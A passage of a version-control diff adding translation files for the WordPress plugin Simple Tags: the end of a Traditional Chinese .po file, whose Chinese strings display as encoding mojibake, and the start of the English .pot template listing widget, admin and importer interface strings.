+msgid "Title:"
+msgstr "æšé¡"
+
+#: /2.3/inc/simple-tags.widgets.php:151
+#: /2.5/inc/simple-tags.widgets.php:139
+#: /2.7/inc/simple-tags.widgets.php:139
+msgid "Max tags to display: (default: 45)"
+msgstr "æšç±€é¡¯ç€ºæå€æžéïŒïŒé èš­ïŒ45ïŒ"
+
+#: /2.3/inc/simple-tags.widgets.php:156
+#: /2.5/inc/simple-tags.widgets.php:144
+#: /2.7/inc/simple-tags.widgets.php:144
+msgid "Tags selection:"
+msgstr "æšç±€éžææåºïŒ"
+
+#: /2.3/inc/simple-tags.widgets.php:159
+#: /2.3/inc/simple-tags.widgets.php:170
+#: /2.5/inc/simple-tags.widgets.php:147
+#: /2.5/inc/simple-tags.widgets.php:158
+#: /2.7/inc/simple-tags.widgets.php:147
+#: /2.7/inc/simple-tags.widgets.php:158
+msgid "Inverse Alphabetical"
+msgstr "äŸç
+§å­æ¯é åºååæå"
+
+#: /2.3/inc/simple-tags.widgets.php:160
+#: /2.5/inc/simple-tags.widgets.php:148
+#: /2.7/inc/simple-tags.widgets.php:148
+msgid "Most popular (default)"
+msgstr "æç±éçæåšåé¢ïŒé èš­ïŒ"
+
+#: /2.3/inc/simple-tags.widgets.php:162
+#: /2.5/inc/simple-tags.widgets.php:150
+#: /2.7/inc/simple-tags.widgets.php:150
+msgid "Random"
+msgstr "éšæ©æå"
+
+#: /2.3/inc/simple-tags.widgets.php:173
+#: /2.5/inc/simple-tags.widgets.php:161
+#: /2.7/inc/simple-tags.widgets.php:161
+msgid "Random (default)"
+msgstr "éšæ©æåïŒé èš­ïŒ"
+
+#: /2.3/inc/simple-tags.widgets.php:178
+#: /2.5/inc/simple-tags.widgets.php:166
+#: /2.7/inc/simple-tags.widgets.php:166
+msgid "Font size mini: (default: 8)"
+msgstr "æå°å­åå€§å°ïŒïŒé èš­ïŒ8ïŒ"
+
+#: /2.3/inc/simple-tags.widgets.php:183
+#: /2.5/inc/simple-tags.widgets.php:171
+#: /2.7/inc/simple-tags.widgets.php:171
+msgid "Font size max: (default: 22)"
+msgstr "æå€§å­åå€§å°ïŒïŒé èš­ïŒ22ïŒ"
+
+#: /2.3/inc/simple-tags.widgets.php:188
+#: /2.5/inc/simple-tags.widgets.php:176
+#: /2.7/inc/simple-tags.widgets.php:176
+msgid "Unit font size:"
+msgstr "å­åå€§å°å®äœïŒ"
+
+#: /2.3/inc/simple-tags.widgets.php:190
+#: /2.5/inc/simple-tags.widgets.php:178
+#: /2.7/inc/simple-tags.widgets.php:178
+msgid "Point (default)"
+msgstr "é» PointïŒé èš­ïŒ"
+
+#: /2.3/inc/simple-tags.widgets.php:191
+#: /2.5/inc/simple-tags.widgets.php:179
+#: /2.7/inc/simple-tags.widgets.php:179
+msgid "Pixel"
+msgstr "åçŽ  Pixel"
+
+#: /2.3/inc/simple-tags.widgets.php:192
+#: /2.5/inc/simple-tags.widgets.php:180
+#: /2.7/inc/simple-tags.widgets.php:180
+msgid "Em"
+msgstr "çžå°å®äœ Em"
+
+#: /2.3/inc/simple-tags.widgets.php:193
+#: /2.5/inc/simple-tags.widgets.php:181
+#: /2.7/inc/simple-tags.widgets.php:181
+msgid "Pourcent"
+msgstr "çŸåæ¯ Percent"
+
+#: /2.3/inc/simple-tags.widgets.php:198
+#: /2.5/inc/simple-tags.widgets.php:186
+#: /2.7/inc/simple-tags.widgets.php:186
+msgid "Format:"
+msgstr "æ ŒåŒïŒ"
+
+#: /2.3/inc/simple-tags.widgets.php:200
+#: /2.5/inc/simple-tags.widgets.php:188
+#: /2.7/inc/simple-tags.widgets.php:188
+msgid "Flat (default)"
+msgstr "å¹³çïŒé èš­ïŒ"
+
+#: /2.3/inc/simple-tags.widgets.php:201
+#: /2.5/inc/simple-tags.widgets.php:189
+#: /2.7/inc/simple-tags.widgets.php:189
+msgid "List (UL/LI)"
+msgstr "åè¡š (UL/LI)"
+
+#: /2.3/inc/simple-tags.widgets.php:207
+#: /2.5/inc/simple-tags.widgets.php:195
+#: /2.7/inc/simple-tags.widgets.php:195
+msgid "Use auto color cloud:"
+msgstr "äœ¿çšèªååœ©è²é²"
+
+#: /2.3/inc/simple-tags.widgets.php:211
+#: /2.5/inc/simple-tags.widgets.php:199
+#: /2.7/inc/simple-tags.widgets.php:199
+msgid "Font color mini: (default: #CCCCCC)"
+msgstr "æå°å­é«é¡è²ïŒïŒé èš­ïŒ #CCCCCCïŒ"
+
+#: /2.3/inc/simple-tags.widgets.php:216
+#: /2.5/inc/simple-tags.widgets.php:204
+#: /2.7/inc/simple-tags.widgets.php:204
+msgid "Font color max: (default: #000000)"
+msgstr "æå€§å­é«é¡è²ïŒïŒé èš­ïŒ#000000ïŒ"
+
+#: /2.3/inc/simple-tags.widgets.php:221
+#: /2.5/inc/simple-tags.widgets.php:209
+#: /2.7/inc/simple-tags.widgets.php:209
+msgid "Extended format: (advanced usage)"
+msgstr "å»¶äŒžæ ŒåŒïŒïŒé²éäœ¿çšïŒ"
+
+#: /2.3/inc/simple-tags.widgets.php:252
+msgid "Tag Cloud Widgets"
+msgstr "æšç±€é²"
+
+#: /2.3/inc/simple-tags.widgets.php:253
+#: /2.5/inc/simple-tags.widgets.php:241
+#: /2.7/inc/simple-tags.widgets.php:241
+msgid "How many tag cloud widgets would you like?"
+msgstr "æšæ³èŠå€å°åæšç±€é²ïŒ"
+
+#: /2.3/inc/simple-tags.widgets.php:257
+#: /2.5/inc/simple-tags.widgets.php:245
+#: /2.7/inc/simple-tags.widgets.php:245
+msgid "Save"
+msgstr "å²å­"
+
+#: /2.3/inc/simple-tags.widgets.php:274
+#: /2.3/inc/simple-tags.widgets.php:275
+#, php-format
+msgid "Extended Tag Cloud %d"
+msgstr "é²éæšç±€é² %d"
+
+#: /2.5/simple-tags.client.php:111
+#: /2.7/simple-tags.client.php:111
+msgid "No tags for this post."
+msgstr "æ¬ç¯æç« æ²ææšç±€"
+
+#: /2.5/simple-tags.client.php:123
+#: /2.7/simple-tags.client.php:123
+msgid "No related tags found."
+msgstr "æŸäžå°çžéæšç±€ã"
+
+#: /2.5/simple-tags.client.php:1116
+#: /2.7/simple-tags.client.php:1116
+msgid "<a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "&raquo; <a %tag_rel% href=\"%tag_link_remove%\" title=\"åŸæå°çµæäž­ç§»é€ %tag_name_attribute%\">ç§»é€ %tag_name%</a>"
+
+#: /2.5/simple-tags.client.php:1505
+#: /2.7/simple-tags.client.php:1505
+msgid "<a href=\"%tag_link%\" title=\"%tag_name_attribute%\" %tag_rel%>%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" title=\"%tag_name%\" %tag_rel%>%tag_name%</a>"
+
+#: /2.5/inc/simple-tags.admin.php:233
+#: /2.5/inc/simple-tags.admin.php:537
+#: /2.5/inc/simple-tags.admin.php:1083
+#: /2.7/inc/simple-tags.admin.php:306
+#: /2.7/inc/simple-tags.admin.php:599
+#: /2.7/inc/simple-tags.admin.php:1114
+msgid "Visit the <a href=\"http://code.google.com/p/simple-tags/\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "æšå¯ä»¥èç±æèšª <a href=\"http://code.google.com/p/simple-tags/\">å€æéŠé </a> ä»¥ç²åŸæŽå€èšæ¯ãåŠææšçŒçŸè­è²æå°æ¬å€ææå¥åŠçé»å­ïŒ <a href=\"mailto:amaury@wordpress-fr.net\">è«èæè¯çµ¡</a>ïŒ"
+
+#: /2.5/inc/simple-tags.admin.php:240
+#: /2.7/inc/simple-tags.admin.php:313
+msgid "Options"
+msgstr "èš­å®éžé 
+"
+
+#: /2.5/inc/simple-tags.admin.php:244
+#: /2.7/inc/simple-tags.admin.php:317
+msgid "Activation"
+msgstr "åçš"
+
+#: /2.5/inc/simple-tags.admin.php:251
+#: /2.7/inc/simple-tags.admin.php:324
+msgid "Tags database"
+msgstr "æšç±€è³æåº«"
+
+#: /2.5/inc/simple-tags.admin.php:258
+#: /2.7/inc/simple-tags.admin.php:331
+msgid "Target"
+msgstr "ç®æš"
+
+#: /2.5/inc/simple-tags.admin.php:265
+#: /2.7/inc/simple-tags.admin.php:338
+msgid "Keywords list"
+msgstr "ééµå­æž
+å®"
+
+#: /2.5/inc/simple-tags.admin.php:268
+#: /2.7/inc/simple-tags.admin.php:341
+msgid "Separated with a comma"
+msgstr "ä»¥ååœ¢éèçžé"
+
+#: /2.5/inc/simple-tags.admin.php:274
+#: /2.5/inc/simple-tags.admin.php:540
+#: /2.5/inc/simple-tags.admin.php:563
+#: /2.7/inc/simple-tags.admin.php:346
+#: /2.7/inc/simple-tags.admin.php:602
+#: /2.7/inc/simple-tags.admin.php:625
+msgid "Update options &raquo;"
+msgstr "æŽæ°éžé 
+ &raquo;"
+
+#: /2.5/inc/simple-tags.admin.php:278
+#: /2.7/inc/simple-tags.admin.php:350
+msgid "Auto tags all content &raquo;"
+msgstr "èªåå°ææå
+§å®¹å äžæšç±€ &raquo;"
+
+#: /2.5/inc/simple-tags.admin.php:316
+#: /2.7/inc/simple-tags.admin.php:388
+#, php-format
+msgid "All done! %s tags added."
+msgstr "å
+šéšå®æïŒå·²å å
+¥ %s åæšç±€ã"
+
+#: /2.5/inc/simple-tags.admin.php:332
+#: /2.7/inc/simple-tags.admin.php:404
+msgid "Active tags for page:"
+msgstr "åçšåé æšç±€åèœïŒ"
+
+#: /2.5/inc/simple-tags.admin.php:333
+#: /2.7/inc/simple-tags.admin.php:405
+msgid "This feature allow page to be tagged. This option add pages in tags search. Also this feature add tag management in write page."
+msgstr "æ­€åèœå°å
+èš±åšåé äž­å å
+¥æšç±€ïŒäžŠå°åé åå
+¥æšç±€æå°ç¯åäž­ïŒåææåšçŒè¡šæç« é é¢å å
+¥æšç±€ç®¡çåèœã"
+
+#: /2.5/inc/simple-tags.admin.php:355
+#: /2.7/inc/simple-tags.admin.php:419
+msgid "Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines.<br /><strong>Warning:</strong> If the plugin \"All in One SEO Pack\" is installed and enabled. This feature is automatically disabled."
+msgstr "èªåå°ééµå­å å°é éŠäž­ïŒå€§éšä»œçäœæ¯äž»é¡éœææ¯æŽïŒäœäžŠéå
+šéšïŒïŒéäºééµå­ææåæè¢«æå°åŒææäœ¿çšã<br /><strong>è­ŠåïŒ</strong> åŠæå·²å®è£ååçš \"All in One SEO Pack\" å€æçè©±ïŒæ­€åèœå°åçšã"
+
+#: /2.5/inc/simple-tags.admin.php:880
+#: /2.7/inc/simple-tags.admin.php:901
+msgid "Published"
+msgstr "çŒè¡š"
+
+#: /2.5/inc/simple-tags.admin.php:880
+#: /2.7/inc/simple-tags.admin.php:901
+msgid "Published posts"
+msgstr "çŒè¡šæç« "
+
+#: /2.5/inc/simple-tags.admin.php:881
+#: /2.7/inc/simple-tags.admin.php:902
+msgid "Scheduled"
+msgstr "æçš"
+
+#: /2.5/inc/simple-tags.admin.php:881
+#: /2.7/inc/simple-tags.admin.php:902
+msgid "Scheduled posts"
+msgstr "æçšæç« "
+
+#: /2.5/inc/simple-tags.admin.php:882
+#: /2.7/inc/simple-tags.admin.php:903
+msgid "Pending Review"
+msgstr "åŸ
+å¯©äž­"
+
+#: /2.5/inc/simple-tags.admin.php:882
+#: /2.7/inc/simple-tags.admin.php:903
+msgid "Pending posts"
+msgstr "åŸ
+å¯©æç« "
+
+#: /2.5/inc/simple-tags.admin.php:883
+#: /2.7/inc/simple-tags.admin.php:904
+msgid "Draft"
+msgstr "èçš¿"
+
+#: /2.5/inc/simple-tags.admin.php:883
+#: /2.7/inc/simple-tags.admin.php:904
+msgid "Drafts|manage posts header"
+msgstr "èçš¿|ç®¡çæç« é éŠ"
+
+#: /2.5/inc/simple-tags.admin.php:884
+#: /2.7/inc/simple-tags.admin.php:905
+msgid "Private"
+msgstr "ç§å¯"
+
+#: /2.5/inc/simple-tags.admin.php:884
+#: /2.7/inc/simple-tags.admin.php:905
+msgid "Private posts"
+msgstr "ç§å¯æç« "
+
+#: /2.5/inc/simple-tags.admin.php:928
+#: /2.7/inc/simple-tags.admin.php:949
+msgid "Mass edit tags"
+msgstr "å€§éç·šèŒ¯æšç±€"
+
+#: /2.5/inc/simple-tags.admin.php:935
+#: /2.7/inc/simple-tags.admin.php:956
+msgid "All Posts"
+msgstr "å
+šéšæç« "
+
+#: /2.5/inc/simple-tags.admin.php:956
+#: /2.7/inc/simple-tags.admin.php:977
+msgid "All Pages"
+msgstr "å
+šéšåé "
+
+#: /2.5/inc/simple-tags.admin.php:965
+#: /2.7/inc/simple-tags.admin.php:986
+msgid "Search Posts"
+msgstr "æå°æç« "
+
+#: /2.5/inc/simple-tags.admin.php:997
+#: /2.7/inc/simple-tags.admin.php:1018
+msgid "Show all dates"
+msgstr "é¡¯ç€ºæææ¥æ"
+
+#: /2.5/inc/simple-tags.admin.php:1017
+#: /2.7/inc/simple-tags.admin.php:1038
+msgid "View all categories"
+msgstr "è§çææåé¡"
+
+#: /2.5/inc/simple-tags.admin.php:1030
+#: /2.7/inc/simple-tags.admin.php:1051
+msgid "Filter"
+msgstr "éæ¿Ÿæåº"
+
+#: /2.5/inc/simple-tags.admin.php:1060
+#: /2.7/inc/simple-tags.admin.php:1091
+msgid "Update all &raquo;"
+msgstr "å
+šéšæŽæ° &raquo;"
+
+#: /2.5/inc/simple-tags.admin.php:1276
+#: /2.5/inc/simple-tags.admin.php:1291
+msgid "Tags <small>(separate multiple tags with commas: cats, pet food, dogs)</small>"
+msgstr "æšç±€ <small>ïŒä»¥ååœ¢éèçžéïŒè², å¯µç©é£Œæ, çïŒ</small>"
+
+#: /2.5/inc/simple-tags.widgets.php:240
+#: /2.7/inc/simple-tags.widgets.php:240
+msgid "Simple Tags : Tag Cloud Widgets"
+msgstr "Simple Tags : æšç±€é²æš¡çµ"
+
+#: /2.5/inc/simple-tags.widgets.php:253
+#: /2.7/inc/simple-tags.widgets.php:253
+msgid "Your most used tags in cloud format with dynamic color and many options"
+msgstr "æšæåžžçšçæšç±€ä»¥åœ©è²æšç±€é²çæ¹åŒåçŸä»¥åèš±å€èš­å®éžé 
+"
+
+#: /2.5/inc/simple-tags.widgets.php:263
+#: /2.5/inc/simple-tags.widgets.php:264
+#: /2.7/inc/simple-tags.widgets.php:263
+#: /2.7/inc/simple-tags.widgets.php:264
+#, php-format
+msgid "ST: Tag Cloud %d"
+msgstr "ST: æšç±€é² %d"
+
+#: /2.7/inc/simple-tags.admin.php:1068
+msgid "Post title"
+msgstr "æç« æšé¡"
+
+#: /2.7/inc/simple-tags.admin.php:1069
+msgid "Tags"
+msgstr "æšç±€"
+
+#: /2.7/inc/simple-tags.admin.php:1319
+#: /2.7/inc/simple-tags.admin.php:1323
+msgid "Advanced tags"
+msgstr "é²éæšç±€ç®¡ç"
+
+#: /2.7/inc/simple-tags.admin.php:1677
+#: /2.7/inc/simple-tags.admin.php:1681
+msgid "Click tags"
+msgstr "é»éžæšç±€"
+
+#: /2.7/inc/simple-tags.admin.php:1685
+msgid "This feature works only with activated JavaScript. Activate it in your Web browser so you can!"
+msgstr "æ­€åèœåªåšJavaScriptåçšææèœéäœïŒè«åšçèŠœåšèš­å®äž­åçšå®ïŒ"
+
+#: /2.7/inc/simple-tags.admin.php:1693
+msgid "Ajax loading"
+msgstr "Ajax loading"
+
+#: /2.7/inc/simple-tags.admin.php:1702
+#: /2.7/inc/simple-tags.admin.php:1706
+msgid "Suggested tags"
+msgstr "å»ºè­°æšç±€"
+
+#: /2.7/inc/simple-tags.admin.php:1908
+#: /2.7/inc/simple-tags.admin.php:1965
+#: /2.7/inc/simple-tags.admin.php:2032
+#: /2.7/inc/simple-tags.admin.php:2073
+msgid "No text was sent."
+msgstr "æªéåºä»»äœæå­ã"
+
+#: /2.7/inc/simple-tags.admin.php:1934
+msgid "No results from Yahoo! service."
+msgstr "ç¡æ³åŸ Yahoo! ç²åè³æã"
+
+#: /2.7/inc/simple-tags.admin.php:1984
+msgid "No results from Tag The Net service."
+msgstr "ç¡æ³åŸ Tag The Net ç²åè³æã"
+
+#: /2.7/inc/simple-tags.admin.php:2023
+msgid "No tags in your WordPress database."
+msgstr "æšç WordPress è³æåº«äž­æ²ææšç±€ã"
+
+#: /2.7/inc/simple-tags.admin.php:2046
+#: /2.7/inc/simple-tags.admin.php:2087
+msgid "No results from your WordPress database."
+msgstr "ç¡æ³åŸæšç WordPress è³æåº«ç²åè³æã"
+
+#: /2.7/inc/simple-tags.admin.php:2133
+#, php-format
+msgid "&copy; Copyright 2008 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | Version %s"
+msgstr "&copy; Copyright 2008 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | Version %s | <a href=\"http://www.wmfield.idv.tw/\" title=\"æ­£é«äž­æèªç³»æª\">Neil Lin</a>"
+
+#: /extras/simple-tags.importer.php:57
+msgid "Import Embedded Tags"
+msgstr "å¯å
+¥åµå
+¥åŒæšç±€"
+
+#: /extras/simple-tags.importer.php:58
+msgid "Steps may take a few minutes depending on the size of your database. Please be patient."
+msgstr "æ¥äžäŸçæ­¥é©éèŠå¹ŸåéïŒçæšçè³ææå€å°èå®ãè«èå¿ç­åã"
+
+#: /extras/simple-tags.importer.php:59
+msgid "Visit the <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "æšå¯ä»¥èç±æèšª <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags\">å€æéŠé </a> ä»¥ç²åŸæŽå€èšæ¯ãåŠææšçŒçŸè­è²æå°æ¬å€ææå¥åŠçé»å­ïŒ <a href=\"mailto:amaury@wordpress-fr.net\">è«èæè¯çµ¡</a>ïŒ"
+
+#: /extras/simple-tags.importer.php:68
+msgid "Howdy! This imports tags from embedded tags into this blog using the new WordPress native tagging structure."
+msgstr "åšïŒæ¬å¯å
+¥çšåŒèœå°åµå
+¥åŒæšç±€å¯å
+¥ææ° WordPress ææ¯æŽçæšç±€çµæ§ã"
+
+#: /extras/simple-tags.importer.php:69
+msgid "To accommodate larger databases for those tag-crazy authors out there, we have made this into an easy 4-step program to help you kick that nasty Embedded Tags habit. Just keep clicking along and we will let you know when you are in the clear!"
+msgstr "èæ
+®å°é£äºå€§éäœ¿çšæšç±€çäœè
+ïŒæåè£œäœéåæç°¡å®ååæ­¥é©ççšåŒïŒå¹«å©æšå°åµå
+¥åŒæšç±€èœæçº WordPress å
+§å»ºæ¯æŽçæšç±€åèœïŒè«ç¹Œçºæ¥äžäŸçæ­¥é©ïŒç¶æšæåçå®ææææ­¥é©æïŒæåæè®æšç¥éçïŒ"
+
+#: /extras/simple-tags.importer.php:70
+msgid "Don&#8217;t be stupid - backup your database before proceeding!"
+msgstr "å¥å€ªéµéœïŒç¹Œçºäžå»ä¹åè«å
+åä»œæšçè³æåº«ïŒ"
+
+#: /extras/simple-tags.importer.php:72
+msgid "Step 1 &raquo;"
+msgstr "ç¬¬äžæ­¥ &raquo;"
+
+#: /extras/simple-tags.importer.php:95
+msgid "Missing parameters in URL. (Start or End)"
+msgstr "çŒºå°URLç¶²ååæžïŒéé ­æçµå°ŸïŒ"
+
+#: /extras/simple-tags.importer.php:107
+msgid "Configure and add tags to posts&#8230;"
+msgstr "èš­å®èå¢å æšç±€è³æç« &#8230;"
+
+#: /extras/simple-tags.importer.php:114
+msgid "Start marker"
+msgstr "éå§æšèš"
+
+#: /extras/simple-tags.importer.php:117
+msgid "End marker"
+msgstr "çµææšèš"
+
+#: /extras/simple-tags.importer.php:120
+msgid "Delete embedded tags once imported ?"
+msgstr "å¯å
+¥åŸå°åµå
+¥åŒæšç±€åªé€ïŒ"
+
+#: /extras/simple-tags.importer.php:122
+msgid "Import also embedded tags from page ?"
+msgstr "ä¹å¯å
+¥ç¶²èªåé çåµå
+¥åŒæšç±€ïŒ"
+
+#: /extras/simple-tags.importer.php:125
+msgid "Start import &raquo;"
+msgstr "éå§å¯å
+¥ &raquo;"
+
+#: /extras/simple-tags.importer.php:180
+msgid "Done!"
+msgstr "æå®ïŒ"
+
+#: /extras/simple-tags.importer.php:182
+msgid "Step 2 &raquo;"
+msgstr "ç¬¬äºæ­¥ &raquo;"
+
+#: /extras/simple-tags.importer.php:199
+msgid "Import Complete!"
+msgstr "å¯å
+¥æåïŒ"
+
+#: /extras/simple-tags.importer.php:200
+msgid "OK, so we lied about this being a 4-step program! You&#8217;re done!"
+msgstr "å¥œïŒæåæ¿èªå
+åèªªçååæ­¥é©æ¯é¯èª€çïŒå·²ç¶æå®åŠïŒ"
+
+#: /extras/simple-tags.importer.php:201
+msgid "Now wasn&#8217;t that easy?"
+msgstr "äžåäžå°±æ¯é£éºŒç°¡å®ïŒ"
+
+#: /extras/simple-tags.importer.php:202
+msgid "You can manage tags now !"
+msgstr "æšçŸåšå¯ä»¥éå§ç®¡çæšç±€äºïŒ"
+
+#: /extras/simple-tags.importer.php:242
+msgid "Import Embedded Tags into the new WordPress native tagging structure."
+msgstr "å°åµå
+¥åŒæšç±€å¯å
+¥ææ°ç WordPress å
+§å»ºæšç±€çµæ§ã"
+
+#~ msgid "WordPress 2.3 have a small bug and can create empty terms."
+#~ msgstr "WordPress 2.3 æåæç¢çç©ºçœé 
+ç®çå°è­è²ã"
+#~ msgid "Clean it !"
+#~ msgstr "æž
+é€å®ïŒ"
+#~ msgid "Close"
+#~ msgstr "éé"
+#~ msgid "%s terms updated with success !"
+#~ msgstr "%s åé 
+ç®å·²æŽæ°æåïŒ"
+#~ msgid "Category"
+#~ msgstr "é¡å¥"
+#~ msgid "Simple Tags: Advanced Edit Terms"
+#~ msgstr "Simple Tags: é²éç·šèŒ¯é 
+ç®"
+#~ msgid ""
+#~ "Be careful with this page ! You can cause important damages, and lost all "
+#~ "tags and categories of your WordPress installation."
+#~ msgstr ""
+#~ "éäžé è«å°å¿ïŒå¯èœæé ææšçéå€§æå®³ïŒäžŠäžæå€±å»æšåšWordPressèš­å®äž­ææç"
+#~ "æšç±€åé¡å¥ã"
+#~ msgid "Taxonomy&hellip;"
+#~ msgstr "åé¡&hellip;"
+#~ msgid "Counter (descending)"
+#~ msgstr "èšæžïŒéå¹ïŒ"
+#~ msgid "Counter (ascending)"
+#~ msgstr "èšæžïŒåå¹ïŒ"
+#~ msgid "Name (descending)"
+#~ msgstr "åçš±ïŒéå¹ïŒ"
+#~ msgid "Name (ascending)"
+#~ msgstr "åçš±ïŒåå¹ïŒ"
+#~ msgid "ID (no editing)"
+#~ msgstr "åž³èïŒäžå¯ç·šèŒ¯ïŒ"
+#~ msgid "Name"
+#~ msgstr "åçš±"
+#~ msgid "Slug (unique)"
+#~ msgstr "ä»£çš±ïŒå¯äžçïŒ"
+#~ msgid "Term group"
+#~ msgstr "é 
+ç®çŸ€çµ"
+#~ msgid "Taxonomy"
+#~ msgstr "åé¡"
+#~ msgid "Count"
+#~ msgstr "èšæž"
+#~ msgid "Parent"
+#~ msgstr "èµ·æº"
+#~ msgid "Description"
+#~ msgstr "èªªæ"
+#~ msgid "Delete ?"
+#~ msgstr "åªé€ïŒ"
+#~ msgid "Update all terms"
+#~ msgstr "æŽæ°ææé 
+ç®"
+#~ msgid "No terms to edit."
+#~ msgstr "ç¡é 
+ç®å¯äŸç·šèŒ¯"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags.pot
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags.pot	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags.pot	(revision 44)
@@ -0,0 +1,2557 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Simple Tags\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-12-20 00:22+0100\n"
+"PO-Revision-Date: 2008-12-20 00:22+0100\n"
+"Last-Translator: Amaury BALMER <amaury@wordpress-fr.net>\n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-KeywordsList: _e;_c;__\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-SearchPath-0: /Users/amaurybalmer/Desktop/Simple Tags SVN Trunk\n"
+
+ /simple-tags.php:48
+#: /simple-tags.php:52
+msgid "Simple Tags can't work with this WordPress version !"
+msgstr ""
+
+ /simple-tags.php:48
+#, php-format
+msgid "You must use <a href=\"%1$s\">Simple Tagging Plugin</a> for it to work."
+msgstr ""
+
+
+#: /2.3/simple-tags.client.php:87
+#: /2.3/simple-tags.client.php:555
+#: /2.5/simple-tags.client.php:86
+#: /2.5/simple-tags.client.php:554
+#: /2.7/simple-tags.client.php:88
+#: /2.7/simple-tags.client.php:566
+msgid "No related posts."
+msgstr ""
+
+
+#: /2.3/simple-tags.client.php:88
+#: /2.3/simple-tags.client.php:554
+#: /2.5/simple-tags.client.php:87
+#: /2.5/simple-tags.client.php:553
+#: /2.7/simple-tags.client.php:89
+#: /2.7/simple-tags.client.php:565
+msgid "<h4>Related posts</h4>"
+msgstr ""
+
+
+#: /2.3/simple-tags.client.php:89
+#: /2.3/simple-tags.client.php:557
+#: /2.5/simple-tags.client.php:88
+#: /2.5/simple-tags.client.php:556
+#: /2.7/simple-tags.client.php:90
+#: /2.7/simple-tags.client.php:568
+msgid "<a href=\"%post_permalink%\" title=\"%post_title% (%post_date%)\">%post_title%</a> (%post_comment%)"
+msgstr ""
+
+
+#: /2.3/simple-tags.client.php:95
+#: /2.3/simple-tags.client.php:1222
+#: /2.5/simple-tags.client.php:94
+#: /2.5/simple-tags.client.php:1253
+#: /2.7/simple-tags.client.php:96
+#: /2.7/simple-tags.client.php:1265
+msgid "No tags."
+msgstr ""
+
+
+#: /2.3/simple-tags.client.php:96
+#: /2.3/simple-tags.client.php:1224
+#: /2.5/simple-tags.client.php:95
+#: /2.5/simple-tags.client.php:1255
+#: /2.7/simple-tags.client.php:97
+#: /2.7/simple-tags.client.php:1267
+msgid "<h4>Tag Cloud</h4>"
+msgstr ""
+
+
+#: /2.3/simple-tags.client.php:98
+#: /2.3/simple-tags.client.php:1223
+#: /2.5/simple-tags.client.php:97
+#: /2.5/simple-tags.client.php:1254
+#: /2.7/simple-tags.client.php:99
+#: /2.7/simple-tags.client.php:1266
+msgid "<a href=\"%tag_link%\" id=\"tag-link-%tag_id%\" class=\"st-tags t%tag_scale%\" title=\"%tag_count% topics\" %tag_rel% style=\"%tag_size% %tag_color%\">%tag_name%</a>"
+msgstr ""
+
+
+#: /2.3/simple-tags.client.php:110
+#: /2.3/simple-tags.client.php:1439
+#: /2.5/simple-tags.client.php:109
+#: /2.5/simple-tags.client.php:1499
+#: /2.7/simple-tags.client.php:111
+#: /2.7/simple-tags.client.php:1511
+msgid "Tags: "
+msgstr ""
+
+
+#: /2.3/simple-tags.client.php:112
+#: /2.3/simple-tags.client.php:1446
+#: /2.5/simple-tags.client.php:1506
+#: /2.7/simple-tags.client.php:1518
+msgid "No tag for this post."
+msgstr ""
+
+
+#: /2.3/simple-tags.client.php:115
+#: /2.3/simple-tags.client.php:1445
+#: /2.5/simple-tags.client.php:114
+#: /2.7/simple-tags.client.php:116
+msgid "<a href=\"%tag_link%\" title=\"%tag_name%\" %tag_rel%>%tag_name%</a>"
+msgstr ""
+
+
+#: /2.3/simple-tags.client.php:123
+#: /2.3/simple-tags.client.php:874
+#: /2.5/simple-tags.client.php:122
+#: /2.5/simple-tags.client.php:904
+#: /2.7/simple-tags.client.php:124
+#: /2.7/simple-tags.client.php:916
+msgid "<h4>Related tags</h4>"
+msgstr ""
+
+
+#: /2.3/simple-tags.client.php:124
+#: /2.3/simple-tags.client.php:875
+#: /2.5/simple-tags.client.php:905
+#: /2.7/simple-tags.client.php:917
+msgid "No related tag found."
+msgstr ""
+
+
+#: /2.3/simple-tags.client.php:125
+#: /2.5/simple-tags.client.php:124
+#: /2.7/simple-tags.client.php:126
+msgid "<span>%tag_count%</span> <a href=\"%tag_link_add%\">+</a> <a href=\"%tag_link%\">%tag_name%</a>"
+msgstr ""
+
+
+#: /2.3/simple-tags.client.php:130
+#: /2.5/simple-tags.client.php:129
+#: /2.7/simple-tags.client.php:131
+msgid "&raquo; <a href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr ""
+
+
+#: /2.3/simple-tags.client.php:272
+#: /2.5/simple-tags.client.php:266
+#: /2.7/simple-tags.client.php:278
+#, php-format
+msgid "Posts tagged with %s"
+msgstr ""
+
+
+#: /2.3/simple-tags.client.php:786
+#: /2.5/simple-tags.client.php:825
+#: /2.7/simple-tags.client.php:837
+msgid "There is no excerpt because this is a protected post."
+msgstr ""
+
+
+#: /2.3/simple-tags.client.php:876
+#: /2.5/simple-tags.client.php:906
+#: /2.7/simple-tags.client.php:918
+msgid "<span>%tag_count%</span> <a %tag_rel% href=\"%tag_link_add%\">+</a> <a %tag_rel% href=\"%tag_link%\" title=\"See posts with %tag_name_attribute%\">%tag_name%</a>"
+msgstr ""
+
+
+#: /2.3/simple-tags.client.php:1078
